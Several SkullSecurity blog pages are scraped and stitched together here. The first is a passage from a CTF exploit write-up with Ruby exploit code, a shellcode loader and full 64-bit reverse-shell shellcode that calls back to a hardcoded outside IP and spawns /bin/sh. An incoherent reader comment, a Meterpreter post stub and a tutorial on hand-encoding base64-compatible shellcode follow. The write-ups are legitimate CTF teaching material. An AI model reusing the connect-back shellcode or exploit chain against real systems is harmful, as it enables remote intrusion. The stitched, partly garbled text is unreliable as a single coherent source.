      puts("[*] Found the +rwx memory: 0x#{@@rwx_addr.to_s(16)}")
    
      s.close
    end
    
    

    Basically, we know the pointer to the JIT code is at the base_addr + 0x20f5c0 (determined with IDA). So we do some math with that address and the base address of the registers array (dividing by 4 because that's the width of each register).

    Finishing up

    Now that we can run arbitrary bytecode instructions, we can read, write, and execute any address. But there was one more problem: getting the code into the JIT memory.

    It seems pretty straight forward, since we can write to arbitrary memory, but there's a problem: you don't have any absolute values in the assembly language, which means I can't directly write a bunch of values to memory. What I could do, however, is write values from registers to memory, and I can set the registers by passing in arguments.

    BUT, reg0 gets messed up and two registers are wasted because I have to use them to overwrite the return address. That means I have 7 32-bit registers that I can use.

    What you're probably thinking is that I can implement a multiplexer in their assembly language. I could have some operands like "write this dword to this memory address" and build up the shellcode by calling the function multiple times with multiple arguments.

    If you're thinking that, then you're sharper than I was at 7am with no sleep! I decided that the best way was to write a shellcode loader in 24 bytes. I actually love writing short, custom-purpose shellcode, there's something satisfying about it. :)

    Here's my loader shellcode:

      # Create some loader shellcode. I'm not proud of this - it was 7am, and I hadn't
      # slept yet. I immediately realized after getting some sleep that there was a
      # way easier way to do this...
      params =
        # param0 gets overwritten, just store crap there
        "\x41\x41\x41\x41" +
    
        # param1 + param2 are the return address
        [@@rwx_addr & 0x00000000FFFFFFFF, @@rwx_addr >> 32].pack("II") +
    
        # ** Now, we build up to 24 bytes of shellcode that'll load the actual shellcode
    
        # Decrease ECX to a reasonable number (somewhere between 200 and 10000, doesn't matter)
        "\xC1\xE9\x10" +  # shr ecx, 10
    
        # This is where the shellcode is read from - to save a couple bytes (an absolute move is 10
        # bytes long!), I use r12, which is in the same image and can be reached with a 4-byte add
        "\x49\x8D\xB4\x24\x88\x2B\x20\x00" + # lea rsi,[r12+0x202b88]
    
        # There is where the shellcode is copied to - immediately after this shellcode
        "\x48\xBF" + [@@rwx_addr + 24].pack("Q") + # mov rdi, @@rwx_addr + 24
    
        # And finally, this moves the bytes over
        "\xf3\xa4" # rep movsb
    
      # Pad the shellcode with NOP bytes so it can be used as an array of ints
      while((params.length % 4) != 0)
        params += "\x90"
      end
    
      # Convert the shellcode to an array of ints
      params = params.unpack("I*")
    

    Basically, the first three arguments are wasted (the first gets messed up and the next two are the return address). Then we set up a call to "rep movsb", with rsi, rdi, and rcx set appropriately (and complicatedly). You can see how I did that in the comments. All told, it's 23 bytes of machine code.

    It took me a lot of time to get that working, though! Squeezing out every single byte! It basically copies the code from the next bytecode function (whose address I can calculate based on r12) to the address immediately after itself in the +RWX memory (which I can leak beforehand).

    This code is written to the +RWX memory using these operations:

      ops = []
    
      # Overwrite teh reteurn address with the first two operations
      ops << create_op(OP_MOV, 26, 1)
      ops << create_op(OP_MOV, 27, 2)
    
      # This next bunch copies shellcode from the arguments into the +rwx memory
      ops << create_op(OP_MOV, ((@@rwx_addr + 0) - @@registers) / 4, 3)
      ops << create_op(OP_MOV, ((@@rwx_addr + 4) - @@registers) / 4, 4)
      ops << create_op(OP_MOV, ((@@rwx_addr + 8) - @@registers) / 4, 5)
      ops << create_op(OP_MOV, ((@@rwx_addr + 12) - @@registers) / 4, 6)
      ops << create_op(OP_MOV, ((@@rwx_addr + 16) - @@registers) / 4, 7)
      ops << create_op(OP_MOV, ((@@rwx_addr + 20) - @@registers) / 4, 8)
      ops << create_op(OP_MOV, ((@@rwx_addr + 24) - @@registers) / 4, 9)
    

    Then I just convert the shellcode into a bunch of bytecode operators / operands, which will be the entirity of the fourth bytecode function (I'm proud to say that this code worked on the first try):

      # Pad the shellcode to the proper length
      shellcode = SHELLCODE
      while((shellcode.length % 26) != 0)
        shellcode += "\xCC"
      end
    
      # Now we create a new function, which simply stores the actual shellcode.
      # Because this is a known offset, we can copy it to the +rwx memory with
      # a loader
      ops = []
    
      # Break the shellcode into 26-byte chunks (the size of an operation)
      shellcode.chars.each_slice(26) do |slice|
        # Make the character array into a string
        slice = slice.join
    
        # Split it into the right proportions
        a, b, c, d = slice.unpack("SQQQ")
    
        # Add them as a new operation
        ops << create_op(a, b, c, d)
      end
    
      # Add the operations to a new function (no offset, since we just need to
      # get it stored, not run as bytecode)
      add(s, ops, 16)
    

    And, for good measure, here's my 64-bit connect-back shellcode:

    # Port 17476, chosen so I don't have to think about endianness at 7am at night :)
    REVERSE_PORT = "\x44\x44"
    
    # 206.220.196.59
    REVERSE_ADDR = "\xCE\xDC\xC4\x3B"
    
    # Simple reverse-tcp shellcode I always use
    SHELLCODE = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" +
    "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" +
    "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" +
    "\x02" + REVERSE_PORT + "\xc7\x44\x24\x04" + REVERSE_ADDR + "\x48\x89\xe6\x6a\x10" +
    "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" +
    "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" +
    "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" +
    "\x5f\x6a\x3b\x58\x0f\x05"
    
    

    It's slightly modified from some code I found online. I'm mostly just including it so I can find it again next time I need it. :)

    Conclusion

    To summarize everything...

    There was an off-by-one vulnerability in the verifyBytecode() function. I used that to break out of the sandbox and run unverified bytecode.

    That bytecode allowed me to read/write/execute arbitrary memory. I used it to leak the base address of the binary, the base address of the register array (where my reads/writes are relative to), and the address of some +RWX memory.

    I copied loader code into that +RWX memory, then ran it. It copied the next bytecode function, as actual machine code, to the +RWX memory.

    Then I got a shell.

    Hope that was useful!

    One thought on “GitS 2015: Giggles (off-by-one virtual machine)

    1. Reply

      al(l)exk(1)

      Shouldn't the jump (or "hop") in the initial hex "w32dasm" program on the 'eax' went through to the F000000484 memory slot, instead of the F0000009135, as it did. Luckily...!?

      Don't quite understand the logic behind the 'psy9020*' which is entered when trying to register after the 11th repetition of the binary EGI, which is not really of importance to the Owner of the Code, plus -- why whould you PWN the green and red before even considering that yellow rules the tunnelling... if we are debugging AT&T, for example. Sorry, little of topic.

      I guess, the difference, is getting bigger and greater, instead of balancing the inequality, which is LONG OVERDUE... nor public -- nor private!?!?!

      -- Alexander

      P.S. "Hi, to all the little N*i*n*j*a*Z out there!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### September » 2010 » SkullSecurity

    Finding Mapped Drives with Meterpreter

    This post written by Matt Gardenghi --------- This is going to be a series of short "how to" articles so that I have a resource when I forget how I did something. Your benefit from this post is incidental to my desire to have a resource I can reach when I've had a brain cloud. […]

    #####EOF##### Solving b-64-b-tuff: writing base64 and alphanumeric shellcode » SkullSecurity


    Solving b-64-b-tuff: writing base64 and alphanumeric shellcode

    Hey everybody,

    A couple months ago, we ran BSides San Francisco CTF. It was fun, and I posted blogs about it at the time, but I wanted to do a late writeup for the level b-64-b-tuff.

    The challenge was to write base64-compatible shellcode. There's an easy solution - using an alphanumeric encoder - but what's the fun in that? (also, I didn't think of it :) ). I'm going to cover base64, but these exact same principles apply to alphanumeric - there's absolutely on reason you couldn't change the SET variable in my examples and generate alphanumeric shellcode.

    In this post, we're going to write a base64 decoder stub by hand, which encodes some super simple shellcode. I'll also post a link to a tool I wrote to automate this.

    I can't promise that this is the best, or the easiest, or even a sane way to do this. I came up with this process all by myself, but I have to imagine that the generally available encoders do basically the same thing. :)

    Intro to Shellcode

    I don't want to dwell too much on the basics, so I highly recommend reading PRIMER.md, which is a primer on assembly code and shellcode that I recently wrote for a workshop I taught.

    The idea behind the challenge is that you send the server arbitrary binary data. That data would be encoded into base64, then the base64 string was run as if it were machine code. That means that your machine code had to be made up of characters in the set [a-zA-Z0-9+/]. You could also have an equal sign ("=") or two on the end, but that's not really useful.

    We're going to mostly focus on how to write base64-compatible shellcode, then bring it back to the challenge at the very end.

    Assembly instructions

    Since each assembly instruction has a 1:1 relationship to the machine code it generates, it'd be helpful to us to get a list of all instructions we have available that stay within the base64 character set.

    To get an idea of which instructions are available, I wrote a quick Ruby script that would attempt to disassemble every possible combination of two characters followed by some static data.

    I originally did this by scripting out to ndisasm on the commandline, a tool that we'll see used throughout this blog, but I didn't keep that code. Instead, I'm going to use the Crabstone Disassembler, which is Ruby bindings for Capstone:

    require 'crabstone'
    
    # Our set of known characters
    SET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    
    # Create an instance of the Crabstone Disassembler for 32-bit x86
    cs = Crabstone::Disassembler.new(Crabstone::ARCH_X86, Crabstone::MODE_32)
    
    # Get every 2-character combination
    SET.chars.each do |c1|
      SET.chars.each do |c2|
        # Pad it out pretty far with obvious no-op-ish instructions
        data = c1 + c2 + ("A" * 14)
    
        # Disassemble it and get the first instruction (we only care about the
        # shortest instructions we can form)
        instruction = cs.disasm(data, 0)[0]
    
        puts "%s     %s %s" % [
          instruction.bytes.map() { |b| '%02x' % b }.join(' '),
          instruction.mnemonic.to_s,
          instruction.op_str.to_s
        ]
      end
    end
    

    I'd probably do it considerably more tersely in irb if I was actually solving a challenge rather than writing a blog, but you get the idea. :)

    Anyway, running that produces quite a lot of output. We can feed it through sort + uniq to get a much shorter version.

    From there, I manually went through the full 2000+ element list to figure out what might actually be useful (since the vast majority were basically identical, that's easier than it sounds). I moved all the good stuff to the top and got rid of the stuff that's useless for writing a decoder stub. That left me with this list. I left in a bunch of stuff (like multiply instructions) that probably wouldn't be useful, but that I didn't want to completely discount.

    Dealing with a limited character set

    When you write shellcode, there are a few things you have to do. At a minimum, you almost always have to change registers to fairly arbitrary values (like a command to execute, a file to read/write, etc) and make syscalls ("int 0x80" in assembly or "\xcd\x80" in machine code; we'll see how that winds up being the most problematic piece!).

    For the purposes of this blog, we're going to have 12 bytes of shellcode: a simple call to the sys_exit() syscall, with a return code of 0x41414141. The reason is, it demonstrates all the fundamental concepts (setting variables and making syscalls), and is easy to verify as correct using strace

    Here's the shellcode we're going to be working with:

    mov eax, 0x01 ; Syscall 1 = sys_exit
    mov ebx, 0x41414141 ; First (and only) parameter: the exit code
    int 0x80
    

    We'll be using this code throughout, so make sure you have a pretty good grasp of it! It assembles to (on Ubuntu, if this fails, try apt-get install nasm):

    $ echo -e 'bits 32\n\nmov eax, 0x01\nmov ebx, 0x41414141\nint 0x80\n' > file.asm; nasm -o file file.asm
    $ hexdump -C file
    00000000  b8 01 00 00 00 bb 41 41  41 41 cd 80              |............|
    

    If you want to try running it, you can use my run_raw_code.c utility (there are plenty just like it):

    $ strace ./run_raw_code file
    [...]
    read(3, "\270\1\0\0\0\273AAAA\315\200", 12) = 12
    exit(1094795585)                        = ?
    

    The read() call is where the run_raw_code stub is reading the shellcode file. The 1094795585 in exit() is the 0x41414141 that we gave it. We're going to see that value again and again and again, as we evaluate the correctness of our code, so get used to it!

    You can also prove that it disassembles properly, and see what each line becomes using the ndisasm utility (this is part of the nasm package):

    $ ndisasm -b32 file
    00000000  B801000000        mov eax,0x1
    00000005  BB41414141        mov ebx,0x41414141
    0000000A  CD80              int 0x80
    

    Easy stuff: NUL byte restrictions

    Let's take a quick look at a simple character restriction: NUL bytes. It's commonly seen because NUL bytes represent string terminators. Functions like strcpy() stop copying when they reach a NUL. Unlike base64, this can be done by hand!

    It's usually pretty straight forward to get rid of NUL bytes by just looking at where they appear and fixing them; it's almost always the case that it's caused by 32-bit moves or values, so we can just switch to 8-bit moves (using eax is 32 bits; using al, the last byte of eax, is 8 bits):

    xor eax, eax ; Set eax to 0
    inc eax ; Increment eax (set it to 1) - could also use "mov al, 1", but that's one byte longer
    mov ebx, 0x41414141 ; Set ebx to the usual value, no NUL bytes here
    int 0x80 ; Perform the syscall
    

    We can prove this works, as well (I'm going to stop showing the echo as code gets more complex, but I use file.asm throughout):

    $ echo -e 'bits 32\n\nxor eax, eax\ninc eax\nmov ebx, 0x41414141\nint 0x80\n'> file.asm; nasm -o file file.asm
    $ hexdump -C file
    00000000  31 c0 40 bb 41 41 41 41  cd 80                    |1.@.AAAA..|
    

    Simple!

    Clearing eax in base64

    Something else to note: our shellcode is now largely base64! Let's look at the disassembled version so we can see where the problems are:

    $ ndisasm -b32 file                               65 [11:16:34]
    00000000  31C0              xor eax,eax
    00000002  40                inc eax
    00000003  BB41414141        mov ebx,0x41414141
    00000008  CD80              int 0x80
    

    Okay, maybe we aren't so close: the only line that's actually compatible is "inc eax". I guess we can start the long journey!

    Let's start by looking at how we can clear eax using our instruction set. We have a few promising instructions for changing eax, but these are the ones I like best:

    • 35 ?? ?? ?? ?? xor eax,0x????????
    • 68 ?? ?? ?? ?? push dword 0x????????
    • 58 pop eax

    Let's start with the most naive approach:

    push 0
    pop eax
    

    If we assemble that, we get:

    00000000  6A00              push byte +0x0
    00000002  58                pop eax
    

    Close! But because we're pushing 0, we end up with a NUL byte. So let's push something else:

    push 0x41414141
    pop eax
    

    If we look at how that assembles, we get:

    00000000  68 41 41 41 41 58                                 |hAAAAX|
    

    Not only is it all Base64 compatible now, it also spells "hAAAAX", which is a fun coincidence. :)

    The problem is, eax doesn't end up as 0, it's 0x41414141. You can verify this by adding "int 3" at the bottom, dumping a corefile, and loading it in gdb (feel free to use this trick throughout if you're following along, I'm using it constantly to verify my code snippings, but I'll only show it when the values are important):

    $ ulimit -c unlimited
    $ rm core
    $ cat file.asm
    bits 32
    
    push 0x41414141
    pop eax
    int 3
    $ nasm -o file file.asm
    $ ./run_raw_code ./file
    allocated 8 bytes of executable memory at: 0x41410000
    fish: “./run_raw_code ./file” terminated by signal SIGTRAP (Trace or breakpoint trap)
    $ gdb ./run_raw_code ./core
    Core was generated by `./run_raw_code ./file`.
    Program terminated with signal SIGTRAP, Trace/breakpoint trap.
    #0  0x41410008 in ?? ()
    (gdb) print/x $eax
    $1 = 0x41414141
    

    Anyway, if we don't like the value, we can xor a value with eax, provided that the value is also base64-compatible! So let's do that:

    push 0x41414141
    pop eax
    xor eax, 0x41414141
    

    Which assembles to:

    00000000  68 41 41 41 41 58 35 41  41 41 41                 |hAAAAX5AAAA|

    All right! You can verify using the debugger that, at the end, eax is, indeed, 0.

    Encoding an arbitrary value in eax

    If we can set eax to 0, does that mean we can set it to anything?

    Since xor works at the byte level, the better question is: can you xor two base-64-compatible bytes together, and wind up with any byte?

    Turns out, the answer is no. Not quite. Let's look at why!

    We'll start by trying a pure bruteforce (this code is essentially from my solution):

    SET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    def find_bytes(b)
      SET.bytes.each do |b1|
        SET.bytes.each do |b2|
          if((b1 ^ b2) == b)
            return [b1, b2]
          end
        end
      end
      puts("Error: Couldn't encode 0x%02x!" % b)
      return nil
    end
    
    0.upto(255) do |i|
      puts("%x => %s" % [i, find_bytes(i)])
    end
    

    The full output is here, but the summary is:

    0 => [65, 65]
    1 => [66, 67]
    2 => [65, 67]
    3 => [65, 66]
    ...
    7d => [68, 57]
    7e => [70, 56]
    7f => [70, 57]
    Error: Couldn't encode 0x80!
    80 =>
    Error: Couldn't encode 0x81!
    81 =>
    Error: Couldn't encode 0x82!
    82 =>
    ...
    

    Basically, we can encode any value that doesn't have the most-significant bit set (ie, anything under 0x80). That's going to be a problem that we'll deal with much, much later.

    Since many of our instructions operate on 4-byte values, not 1-byte values, we want to operate in 4-byte chunks. Fortunately, xor is byte-by-byte, so we just need to treat it as four individual bytes:

    def get_xor_values_32(desired)
      # Convert the integer into a string (pack()), then into the four bytes
      b1, b2, b3, b4 = [desired].pack('N').bytes()
    
      v1 = find_bytes(b1)
      v2 = find_bytes(b2)
      v3 = find_bytes(b3)
      v4 = find_bytes(b4)
    
      # Convert both sets of xor values back into integers
      result = [
        [v1[0], v2[0], v3[0], v4[0]].pack('cccc').unpack('N').pop(),
        [v1[1], v2[1], v3[1], v4[1]].pack('cccc').unpack('N').pop(),
      ]
    
    
      # Note: I comment these out for many of the examples, simply for brevity
      puts '0x%08x' % result[0]
      puts '0x%08x' % result[1]
      puts('----------')
      puts('0x%08x' % (result[0] ^ result[1]))
      puts()
    
      return result
    end
    

    This function takes a single 32-bit value and it outputs the two xor values (note that this won't work when the most significant bit is set.. stay tuned for that!):

    irb(main):039:0> get_xor_values_32(0x01020304)
    0x42414141
    0x43434245
    ----------
    0x01020304
    
    => [1111572801, 1128481349]
    
    irb(main):040:0> get_xor_values_32(0x41414141)
    0x6a6a6a6a
    0x2b2b2b2b
    ----------
    0x41414141
    
    => [1785358954, 724249387]
    

    And so on.

    So if we want to set eax to 0x00000001 (for the sys_exit syscall), we can simply feed it into this code and convert it to assembly:

    get_xor_values_32(0x01)
    0x41414142
    0x41414143
    ----------
    0x00000001
    
    => [1094795586, 1094795587]
    

    Then write the shellcode:

    push 0x41414142
    pop eax
    xor eax, 0x41414143
    

    And prove to ourselves that it's base-64-compatible; I believe in doing this, because every once in awhile an instruction like "inc eax" (which becomes '@') will slip in when I'm not paying attention:

    $ hexdump -C file
    00000000  68 42 41 41 41 58 35 43  41 41 41                 |hBAAAX5CAAA|
    

    We'll be using that exact pattern a lot - push (value) / pop eax / xor eax, (other value). It's the most fundamental building block of this project!

    Setting other registers

    Sadly, unless I missed something, there's no easy way to set other registers. We can increment or decrement them, and we can pop values off the stack into some of them, but we don't have the ability to xor, mov, or anything else useful!

    There are basically three registers that we have easy access to:

    • 58 pop eax
    • 59 pop ecx
    • 5A pop edx

    So to set ecx to an arbitrary value, we can do it via eax:

    push 0x41414142
    pop eax
    xor eax, 0x41414143 ; eax -> 1
    push eax
    pop ecx ; ecx -> 1
    

    Then verify the base64-ness:

    $ hexdump -C file
    00000000  68 42 41 41 41 58 35 43  41 41 41 50 59           |hBAAAX5CAAAPY|
    

    Unfortunately, if we try the same thing with ebx, we hit a non-base64 character:

    $ hexdump -C file
    00000000  68 42 41 41 41 58 35 43  41 41 41 50 5b           |hBAAAX5CAAAP[|
    

    Note the "[" at the end - that's not in our character set! So we're pretty much limited to using eax, ecx, and edx for most things.

    But wait, there's more! We do, however, have access to popad. The popad instruction pops the next 8 things off the stack and puts them in all 8 registers. It's a bit of a scorched-earth method, though, because it overwrites all registers. We're going to use it at the start of our code to zero-out all the registers.

    Let's try to convert our exit shellcode from earlier:

    mov eax, 0x01 ; Syscall 1 = sys_exit
    mov ebx, 0x41414141 ; First (and only) parameter: the exit code
    int 0x80
    

    Into something that's base-64 friendly:

    ; We'll start by populating the stack with 0x41414141's
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    push 0x41414141
    
    ; Then popad to set all the registers to 0x41414141
    popad
    
    ; Then set eax to 1
    push 0x41414142
    pop eax
    xor eax, 0x41414143
    
    ; Finally, do our syscall (as usual, we're going to ignore the fact that the syscall isn't base64 compatible)
    int 0x80
    

    Prove that it uses only base64 characters (except the syscall):

    $ hexdump -C file
    00000000  68 41 41 41 41 68 41 41  41 41 68 41 41 41 41 68  |hAAAAhAAAAhAAAAh|
    00000010  41 41 41 41 68 41 41 41  41 68 41 41 41 41 68 41  |AAAAhAAAAhAAAAhA|
    00000020  41 41 41 68 41 41 41 41  61 68 42 41 41 41 58 35  |AAAhAAAAahBAAAX5|
    00000030  43 41 41 41 cd 80                                 |CAAA..|
    

    And prove that it still works:

    $ strace ./run_raw_code ./file
    ...
    read(3, "hAAAAhAAAAhAAAAhAAAAhAAAAhAAAAhA"..., 54) = 54
    exit(1094795585)                        = ?
    

    Encoding the actual code

    You've probably noticed by now: this is a lot of work. Especially if you want to set each register to a different non-base64-compatible value! You have to encode each value by hand, making sure you set eax last (because it's our working register). And what if you need an instruction (like add, or shift) that isn't available? Do we just simulate it?

    As I'm sure you've noticed, the machine code is just a bunch of bytes. What's stopping us from simply encoding the machine code rather than just values?

    Let's take our original example of an exit again:

    mov eax, 0x01 ; Syscall 1 = sys_exit
    mov ebx, 0x41414141 ; First (and only) parameter: the exit code
    int 0x80
    

    Because 'mov' assembles to 0xb8XXXXXX, I don't want to deal with that yet (the most-significant bit is set). So let's change it a bit to keep each byte (besides the syscall) under 0x80:

    00000000  6A01              push byte +0x1
    00000002  58                pop eax
    00000003  6841414141        push dword 0x41414141
    00000008  5B                pop ebx
    

    Or, as a string of bytes:

    "\x6a\x01\x58\x68\x41\x41\x41\x41\x5b"

    Let's pad that to a multiple of 4 so we can encode in 4-byte chunks (we pad with 'A', because it's as good a character as any):

    "\x6a\x01\x58\x68\x41\x41\x41\x41\x5b\x41\x41\x41"

    then break that string into 4-byte chunks, encoding as little endian (reverse byte order):

    • 6a 01 58 68 -> 0x6858016a
    • 41 41 41 41 -> 0x41414141
    • 5b 41 41 41 -> 0x4141415b

    Then run each of those values through our get_xor_values_32() function from earlier:

    irb(main):047:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x6858016a)
    0x43614241 ^ 0x2b39432b
    
    irb(main):048:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x41414141)
    0x6a6a6a6a ^ 0x2b2b2b2b
    
    irb(main):050:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x4141415b)
    0x6a6a6a62 ^ 0x2b2b2b39
    

    Let's start our decoder by simply calculating each of these values in eax, just to prove that they're all base64-compatible (note that we are simply discarding the values in this example, we aren't doing anything with them quite yet):

    push 0x43614241
    pop eax
    xor eax, 0x2b39432b ; 0x6858016a
    
    push 0x6a6a6a6a
    pop eax
    xor eax, 0x2b2b2b2b ; 0x41414141
    
    push 0x6a6a6a62
    pop eax
    xor eax, 0x2b2b2b39 ; 0x4141415b
    

    Which assembles to:

    $ hexdump -Cv file
    00000000  68 41 42 61 43 58 35 2b  43 39 2b 68 6a 6a 6a 6a  |hABaCX5+C9+hjjjj|
    00000010  58 35 2b 2b 2b 2b 68 62  6a 6a 6a 58 35 39 2b 2b  |X5++++hbjjjX59++|
    00000020  2b                                                |+|
    

    Looking good so far!

    Decoder stub

    Okay, we've proven that we can encode instructions (without the most significant bit set)! Now we actually want to run it!

    Basically: our shellcode is going to start with a decoder, followed by a bunch of encoded bytes. We'll also throw some padding in between to make this easier to do by hand. The entire decoder has to be made up of base64-compatible bytes, but the encoded payload (ie, the shellcode) has no restrictions.

    So now we actually want to alter the shellcode in memory (self-rewriting code!). We need an instruction to do that, so let's look back at the list of available instructions! After some searching, I found one that's promising:

    3151??            xor [ecx+0x??],edx
    

    This command xors the 32-bit value at memory address ecx+0x?? with edx. We know we can easily control ecx (push (value) / pop eax / xor (other value) / push eax / pop ecx) and, similarly edx. Since the "0x??" value has to also be a base64 character, we'll follow our trend and use [ecx+0x41], which gives us:

    315141            xor [ecx+0x41],edx
    

    Once I found that command, things started coming together! Since I can control eax, ecx, and edx pretty cleanly, that's basically the perfect instruction to decode our shellcode in-memory!

    This is somewhat complex, so let's start by looking at the steps involved:

    • Load the encoded shellcode (half of the xor pair, ie, the return value from get_xor_values_32()) into a known memory address (in our case, it's going to be 0x141 bytes after the start of our code)
    • Set ecx to the value that's 0x41 bytes before that encoded shellcode (0x100)
    • For each 32-bit pair in the encoded shellcode...
      • Load the other half of the xor pair into edx
      • Do the xor to alter it in-memory (ie, decode it back to the original, unencoded value)
      • Increment ecx to point at the next value
      • Repeat for the full payload
    • Run the newly decoded payload

    For the sake of our sanity, we're going to make some assumptions in the code: first, our code is loaded to the address 0x41410000 (which it is, for this challenge). Second, the decoder stub is exactly 0x141 bytes long (we will pad it to get there). Either of these can be easily worked around, but it's not necessary to do the extra work in order to grok the decoder concept.

    Recall that for our sys_exit shellcode, the xor pairs we determined were: 0x43614241 ^ 0x2b39432b, 0x6a6a6a6a ^ 0x2b2b2b2b, and 0x6a6a6a62 ^ 0x2b2b2b39.

    Here's the code:

    ; Set ecx to 0x41410100 (0x41 bytes less than the start of the encoded data)
    push 0x6a6a4241
    pop eax
    xor eax, 0x2b2b4341 ; eax -> 0x41410100
    push eax
    pop ecx ; ecx -> 0x41410100
    
    ; Set edx to the first value in the first xor pair
    push 0x43614241
    pop edx
    
    ; xor it with the second value in the first xor pair (which is at ecx + 0x41)
    xor [ecx+0x41], edx
    
    ; Move ecx to the next 32-bit value
    inc ecx
    inc ecx
    inc ecx
    inc ecx
    
    ; Set edx to the first value in the second xor pair
    push 0x6a6a6a6a
    pop edx
    
    ; xor + increment ecx again
    xor [ecx+0x41], edx
    inc ecx
    inc ecx
    inc ecx
    inc ecx
    
    ; Set edx to the first value in the third and final xor pair, and xor it
    push 0x6a6a6a62
    pop edx
    xor [ecx+0x41], edx
    
    ; At this point, I assembled the code and counted the bytes; we have exactly 0x30 bytes of code so far. That means to get our encoded shellcode to exactly 0x141 bytes after the start, we need 0x111 bytes of padding ('A' translates to inc ecx, so it's effectively a no-op because the encoded shellcode doesn't care what ecx starts as):
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAA'
    
    ; Now, the second halves of our xor pairs; this is what gets modified in-place
    dd 0x2b39432b
    dd 0x2b2b2b2b
    dd 0x2b2b2b39
    
    ; And finally, we're going to cheat and just do a syscall that's non-base64-compatible
    int 0x80
    

    All right! Here's what it gives us; note that other than the syscall at the end (we'll get to that, I promise!), it's all base64:

    $ hexdump -Cv file
    00000000  68 41 42 6a 6a 58 35 41  43 2b 2b 50 59 68 41 42  |hABjjX5AC++PYhAB|
    00000010  61 43 5a 31 51 41 41 41  41 41 68 6a 6a 6a 6a 5a  |aCZ1QAAAAAhjjjjZ|
    00000020  31 51 41 41 41 41 41 68  62 6a 6a 6a 5a 31 51 41  |1QAAAAAhbjjjZ1QA|
    00000030  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000040  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000050  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000060  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000070  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000080  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000090  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000a0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000b0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000c0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000d0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000e0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000f0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000100  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000110  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000120  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000130  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000140  41 2b 43 39 2b 2b 2b 2b  2b 39 2b 2b 2b cd 80     |A+C9+++++9+++..|
    

    To run this, we have to patch run_raw_code.c to load the code to the correct address:

    diff --git a/forensics/ximage/solution/run_raw_code.c b/forensics/ximage/solution/run_raw_code.c
    index 9eadd5e..1ad83f1 100644
    --- a/forensics/ximage/solution/run_raw_code.c
    +++ b/forensics/ximage/solution/run_raw_code.c
    @@ -12,7 +12,7 @@ int main(int argc, char *argv[]){
         exit(0);
       }
    
    -  void * a = mmap(0, statbuf.st_size, PROT_EXEC |PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    +  void * a = mmap(0x41410000, statbuf.st_size, PROT_EXEC |PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
       printf("allocated %d bytes of executable memory at: %p\n", statbuf.st_size, a);
    
       FILE *file = fopen(argv[1], "rb");
    

    You'll also have to compile it in 32-bit mode:

    $ gcc -m32 -o run_raw_code run_raw_code.c
    

    Once that's done, give 'er a shot:

    $ strace ~/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./file
    [...]
    read(3, "hABjjX5AC++PYhABaCZ1QAAAAAhjjjjZ"..., 335) = 335
    exit(1094795585)                        = ?
    

    We did it, team!

    If we want to actually inspect the code, we can change the very last padding 'A' into 0xcc (aka, int 3, or a SIGTRAP):

    $ diff -u file.asm file-trap.asm
